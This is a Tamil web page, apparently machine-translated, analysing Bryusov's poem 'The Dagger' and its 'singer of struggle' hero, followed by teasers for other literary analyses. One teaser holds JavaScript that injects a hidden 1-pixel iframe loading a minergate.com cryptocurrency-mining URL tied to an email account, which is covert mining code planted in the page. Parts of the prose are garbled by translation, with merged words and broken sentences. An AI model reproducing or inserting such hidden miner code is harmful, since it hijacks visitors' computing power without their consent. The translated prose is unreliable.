முதிர்ந்த படைப்பாற்றலின் காலகட்டத்தில் ஆசிரியர் பிந்தைய வகைக்கு மாறுகிறார், ஏற்கனவே ஆகிவிட்டார் பிரபல கவிஞர், அவருக்குப் பின்னால் விரிவான இலக்கிய அனுபவம் உள்ளது.
பிரையுசோவின் சிவிலியன் பாடல் வரிகளில் மிகவும் பிரபலமானது 1903 இல் அவர் எழுதிய "டாகர்" என்ற கவிதை ஆகும், இது மிகவும் விமர்சன கவனத்தை ஈர்த்தது.
படைப்பின் முக்கிய யோசனை பாடலாசிரியரின் பங்கு, சமூகத்திற்கான அவரது சேவை, அவரது குடிமை நிலை.
பிரையுசோவின் கவிதை குத்துவாள் பற்றிய கதையுடன் அல்ல, ஆனால் அதைப் பற்றிய ஒரு சிறிய குறிப்புடன் தொடங்குகிறது:
அது அதன் உறையிலிருந்து கிழிந்து உங்கள் கண்களில் பிரகாசிக்கிறது,
பழைய நாட்களைப் போலவே, மெருகூட்டப்பட்ட மற்றும் கூர்மையான ...
அப்போதுதான் பாடலாசிரியரின் உருவம் தோன்றுகிறது, அவர் கைவிட முடிவு செய்தார் வெளி உலகம்:
நான் தைரியத்தையும் வலிமையையும் காணாதபோது,
நான் அமைதி மற்றும் கல்லறைகளின் நிலத்திற்கு சென்றேன்,
மர்மமான கடந்த நூற்றாண்டுகளில்...
அடுத்ததாக பாடலாசிரியர் கூட்டத்துடன் முரண்படுகிறார், ஹீரோ மக்களுக்கு சேவை செய்ய மறுக்கிறார்:
ஆனால் சில சமயங்களில் சண்டைக்கான அழைப்பைக் கேட்டு சிரித்தேன்.
பயமுறுத்தும் அழைப்புகளில் நம்பிக்கை இல்லை...
புயலின் குரல் நெருங்கும்போது, அவர் தொடக்க இயக்கத்தின் தலைவராக இருக்க வேண்டும் என்று உணர்கிறார்:
நான் உன்னிடம் உரக்கக் கூறுகிறேன், நான் போராட்டத்தின் பாடலாசிரியர்,
நான் வானத்திலிருந்து இடியை எதிரொலிக்கிறேன் ...
ஆசிரியரின் முக்கிய இலக்கிய ஆயுதம் மக்களுக்கு உரையாற்றப்பட்டது - கவிதை பரிசு.
கவிதையில் பிரையுசோவ் எழுப்பும் முக்கிய பிரச்சனை போராட்டத்தின் வரலாற்று காலக்கெடு, வரவிருக்கும் மாற்றங்களின் முன்னறிவிப்பு.
பாடல் நாயகன்கவிதையின் முதல் சரணத்தில் ஏற்கனவே தோன்றுகிறது. ஆனால் முதலில் இது ஒரு சுருக்கமான உருவமாக இருந்தால், கவிஞர் தானே என்று ஆசிரியர் மேலும் கூறுகிறார்:
இடியுடன் கூடிய மழை பொழியும்போது கவிஞன் எப்போதும் மக்களோடு...
மீண்டும் நான் மக்களுடன் இருக்கிறேன் - ஏனென்றால் நான் ஒரு கவிஞன்.
வரவிருக்கும் வரலாற்று மாற்றங்கள், வளர்ந்து வரும் புரட்சி மற்றும் தேசபக்தி கருத்துக்கள் ஆகியவற்றின் மனநிலையுடன் கவிதை ஊடுருவுகிறது.
பாடலாசிரியர், கத்தி, மனிதர்கள் மற்றும் நெருங்கி வரும் புயல் ஆகியவற்றின் படங்கள் இணக்கமாக ஒன்றிணைந்து வெளிப்படுத்துகின்றன. சிவில் பிரச்சினைகவிதைகள்.
பிரையுசோவின் "டாகர்" பல அடைமொழிகளைப் பயன்படுத்தி உருவாக்கப்பட்டது ("வெட்கக்கேடான குட்டி அமைப்பு", "எரிந்த பதாகைகள்", "பயங்கரமான முறையீடுகள்"); தெளிவான உருவகங்கள் ("கவிதையின் குத்து", "இரத்தம் தோய்ந்த மின்னல் ஒளி வழியாக ஓடியது").
கவிதையில் பிரையுசோவ் சித்தரித்த கவிஞர் தனது பாடல் கேட்கப்படும் என்று நம்புகிறார் மற்றும் வரவிருக்கும் மாற்றங்களுடன் ஒத்துப்போகிறார். அவர் ஒரு கவிஞர், அவர் மக்களுடன் இருக்க வேண்டும், அவர் "போராட்டத்தின் பாடலாசிரியர்" மற்றும் புரட்சிகர மாற்றத்தின் தூண்டுதல்

பக்கம் 1 இருந்து 1

"ஃபாடலிஸ்ட்" கதையின் கலைக் கதையின் பகுப்பாய்வு

புனினின் "தனிமை" கவிதையின் பகுப்பாய்வு ("விழும் இலைகள்" கவிதைகளின் தொகுப்பு)

(செயல்பாடு() (var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden" var s = document.getElementsByTagName("உடல்"); ...

லெர்மொண்டோவின் கதை "இளவரசி மேரி" உள்ளடக்கத்தின் பகுப்பாய்வு

உரை பகுப்பாய்வு - நாடகம் "தி இடியுடன் கூடிய மழை"

IN நாடக வேலைகாவியத்திற்கு மாறாக (நாவல், கதை, கதை) பொருள் உளவியல் பண்புகள்ஹீரோக்கள், முதலில், அவர்களின் செயல்கள் மற்றும் அன்றாட உரையாடல்கள். பாத்திரங்கள் பாத்திரங்கள்அவை முதிர்ச்சியடைந்து தீர்க்கப்படும்போது படிப்படியாக தங்களை வெளிப்படுத்துகின்றன வியத்தகு மோதல். "இடியுடன் கூடிய மழை" மோதலின் வளர்ச்சியின் முக்கிய தருணங்களில் வாழ்வோம் மற்றும் கதாபாத்திரங்களின் கதாபாத்திரங்கள் படிப்படியாக நமக்கு எவ்வாறு வெளிப்படுகின்றன என்பதைக் கவனிப்போம். சட்டம் I. நகரம் மற்றும் அதன் பற்றி நாம் என்ன கற்றுக்கொள்கிறோம் " கொடூரமான ஒழுக்கங்கள்"1-4 நிகழ்வுகளிலிருந்து! எபிசோட் 5 இல் மட்டும் ஏன் கபனோவ் குடும்பம் தோன்றுகிறது?...

ஃபதேவின் முதல் கதைகளின் பகுப்பாய்வு

ஃபதேவ் கணிசமான அரசியல் அபிலாஷைகளுடன் தனது வாழ்க்கையைத் தொடங்கினார். எழுத்து செயல்பாடு. மேலும் அவர் தற்செயலாக இலக்கியத்திற்கு வரவில்லை. பல கட்சித் தொண்டர்களைப் போலல்லாமல், இலக்கியத்திலும் கலையிலும் தங்களின் முழு திறமையின்மை இருந்தபோதிலும் தங்கள் அதிகாரத்தை நிலைநிறுத்த முயன்றார், அவர் ஒரு கலை திறன் கொண்டவர். அவரது திறமை முதல் கதையான “ஸ்பில்” (1923) இல் ஆசிரியருக்கு எதிர்பாராத ஒரு சுய விருப்பத்துடன் வெளிப்பட்டது. சமீபத்திய இராணுவத் தளபதி அலெக்சாண்டர் புலிகா (பதேவின் பாகுபாடான புனைப்பெயர்) இந்தக் கதையில் போராட்டத்தின் படத்தைக் கொடுக்க விரும்பினார். சோவியத் சக்திஉசுரி கிராமங்களில் ஒன்றில். அவர் முக்கிய கதாபாத்திரமான போல்ஷிவிக் நெரெட்டின் உருவத்தை கவனமாக எழுதினார். மேலும் அவர் தனது அனைத்து செயல்களையும் செயல்களையும் கவனமாக சிந்தித்தார். மேலும் ஆர்வமுள்ள உரைநடை எழுத்தாளர் சாஷா ஃபதேவ் இந்த திட்டத்திலிருந்து சில மிகவும் நேர்மையான, ஆனால் முற்றிலும் அரசியலற்ற உணர்வுகள் மற்றும் உணர்ச்சிகளால் தொடர்ந்து வழிநடத்தப்பட்டார்.